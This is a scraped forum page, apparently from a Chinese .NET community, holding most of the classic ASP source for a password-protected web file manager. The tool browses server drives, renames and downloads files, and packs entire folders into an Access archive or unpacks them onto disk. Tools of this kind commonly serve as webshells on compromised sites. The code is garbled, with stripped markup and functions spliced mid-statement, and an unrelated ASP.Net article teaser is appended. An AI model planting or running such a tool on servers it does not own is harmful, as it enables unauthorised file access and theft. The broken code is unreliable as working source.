DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存在！" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存在！" Exit Sub End If End If %> FSO文件浏览器 - 重命名 <script language="JavaScript"> function icheck() { if(document.cform.toname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; }
FSO文件浏览器 - 文件更名
更名为：
 
<% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件夹更名成功！\n刷新之后即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件更名成功！\n刷新之后即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO文件浏览器 - 文件打包/解包
FSO文件浏览器 - 文件打包/解包
打包文件夹：
打包到：">
文件包路径：
解包到： ">
<% End Sub '文件夹内容列表 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back(); FSO文件浏览器 <script language="JavaScript"> var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹 var fselected=""; function opendial(sUrl) //打开对话框窗口 { var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400"); return newWin; } function fopen(sfname) //打开文件夹或文件 { location.href="?page=fso&fname="+escape(sfname); } function fselect(obj) //选中文件夹或文件 { var flen=document.all("f").length; for(var i=0;i
FSO文件浏览器
                         
          
<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>
文件名类型大小修改时间
" Response.Write "0 "&Web&sFolder.Name Response.Write "文件夹 "&sFolder.DateLastModified&"
" Response.Write " "&sFile.Name Response.Write ""&sFile.Type&""&SizeCount(sFile.Size)&""&sFile.DateLastModified&"

<% =Copyright %>
<% T2=Timer() Runtime=(T2-T1)*1000 Response.Write "Page Processed in "&Runtime&" Mili-seconds" %>
<% End Sub '用户登录 Sub Login() %> FSO文件浏览器 - 用户登录
FSO文件浏览器 - 用户登录
请输入登录密码：  
<% =Copyright %> <% End Sub '用户登录验证 Sub LoginChk() If Request.Form("password")<>Password Then EchoBack "一夫当关，万夫莫开，您的密码不正确！" Exit Sub Else Session(mss & "IsAdminlogin")=True Response.Redirect "?page=fso" End If End Sub '用户退出 Sub Logout() Session(mss & "IsAdminlogin")=False Response.Redirect "?" End Sub '显示一个图片 Sub Page_Img() Dim HexStr HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B" Response.ContentType="IMAGE/GIF" WriteBytes HexStr End Sub '输出Css Sub Page_Css() %> body { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } input,select,textarea { font-family: Verdana, Arial, "宋体"; font-size: 12px; color: #000000; } a:link { font-size: 12px; color: #000000; text-decoration: none; } a:visited { font-size: 12px; color: #000000; text-decoration: none; } a:active { font-size: 12px; line-height: normal; color: #333333; text-decoration: none; } a:hover { font-size: 12px; color: #FF7F24; text-decoration: underline; } hr { height:1px; color:#6595D6; } table { BORDER-COLLAPSE: collapse; } table.border { border: 1px solid #6595D6; } td { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } td.border { border: 1px solid #6595D6; } td.inner { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; border: 0px; } th { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #FFFFFF; height:25px; background-color:#427FBB; background-image:url(?page=img); } th.border { border: 1px solid #6595D6; } .b { width:55px; height:22px; font-size:12px; } <% End Sub '================ Functions ================== Function IsFolder(ByVal fname) IsFolder=oFso.FolderExists(fname) End Function Function IsFile(ByVal fname) IsFile=oFso.FileExists(fname) End Function '字节数统计 Bytes Function SizeCount(ByVal iSize) On Error Resume Next Dim size,showsize size=iSize showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=formatnumber(size,3) & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " GB" end if SizeCount = showsize End Function '16进制字符转10进制数字 Function Hex2Num(v) Dim w If IsNumeric(v) Then w=Int(v) Else Select Case UCase(v) Case "A": w=10 Case "B": w=11 Case "C": w=12 Case "D": w=13 Case "E": w=14 Case "F": w=15 Case Else: w=0 End Select End If Hex2Num=w End Function '取得字节字符串的数值 Function Byte2Num(sByte) Dim b1,b2 b1=Left(sByte,1) b2=Right(sByte,1) Byte2Num=Hex2Num(b1)*16+Hex2Num(b2) End Function '将16进制字节字符串输出为二进制数据 Function WriteBytes(sBytes) Dim sByte,i sByte=Split(sBytes," ") For i=0 To UBound(sByte)-1 Response.BinaryWrite ChrB(Byte2Num(sByte(i))) Next End Function '获得文件图标 Function getFileIcon(extName) Select Case LCase(extName) Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa" getFileIcon = "Wingdings>2" Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg" getFileIcon = "Webdings>·" Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif" getFileIcon = "'webdings'>Ÿ" Case "exe", "com", "bat", "cmd", "scr", "msi" getFileIcon = "Webdings>1" Case "sys", "dll", "ocx" getFileIcon = "Wingdings>ÿ" Case Else getFileIcon = "'Wingdings 2'>/" End Select End Function '获得磁盘类型 Function getDriveType(num) Select Case num Case 0 getDriveType = "未知" Case 1 getDriveType = "可移动磁盘" Case 2 getDriveType = "本地硬盘" Case 3 getDriveType = "网络磁盘" Case 4 getDriveType = "CD-ROM" Case 5 getDriveType = "RAM 磁盘" End Select End Function '判断是否为脚本文件 Function IsScriptFile(Ext) Const ScriptExts="asp,aspx,asa,php" IsScriptFile=False Dim FileExt,Exts FileExt=LCase(Ext) Exts=Split(ScriptExts,",") Dim i For i=0 To UBound(Exts)-1 If Exts(i)=FileExt Then IsScriptFile=True Exit Function End If Next IsScriptFile=False End Function '返回消息并关闭 Sub EchoClose(msg) Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();alert("""&msg&""");history.back();=2048 Then c=1 v=v Mod 2048 End If If v>=1024 Then al=1 v=v Mod 64 End If If v>=32 Then a=1 v=v Mod 32 End If If v>=16 Then d=1 v=v Mod 8 End If If v>=4 Then s=1 v=v Mod 4 End If If v>=2 Then h=1 v=v Mod 2 End If If v>=1 Then r=1 End If End Property End Class '============================ 文件打包及解包过程 ============================= '文件打包 Sub Pack(ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 Dim DbPath If Right(sDbPath,4)=".mdb" Then DbPath=sDbPath Else DbPath=sDbPath&".mdb" End If If oFso.FolderExists(DbPath) Then EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\") Exit Sub End If If oFso.FileExists(DbPath) Then oFso.DeleteFile DbPath End If If IsFolder(FPath) Then RootPath=GetParentFolder(FPath) If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\" Else EchoBack "请输入文件夹路径！" Exit Sub End If Dim oCatalog,connStr,DataName Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set oCatalog=Server.CreateObject("ADOX.Catalog") Set rs=Server.CreateObject("ADODB.RecordSet") On Error Resume Next connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr If Err Then EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\") Exit Sub End If Set oCatalog=Nothing conn.Open connStr conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)") oStream.Open oStream.Type=1 rs.Open "Files",conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1) NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName) FailFileList="" '打包失败的文件列表 PackFolder FPath If FailFilelist="" Then EchoClose "文件夹打包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹（递归） Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误，无法创建改目录！" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误！" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹（递归） Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
ASP.Net全局变量的设置和读取方法
本文介绍两种ASP.Net项目中全局变量使用的方式。web.config文件 和 Gloab文件。以下分别说明：方法一：web.config文件——设置：在web.config文件里添加关键字key是通过&lt;appSettings&gt;标记来实现的，但是appSettings标记通常放在&lt;system.web&gt;.....&lt;/system.web&gt;标记外面。例： &lt...
.NET社区

62,041

社区成员

669,051

社区内容

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见，支持健康理性的辩论和互动，反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧

+ 用AI写文章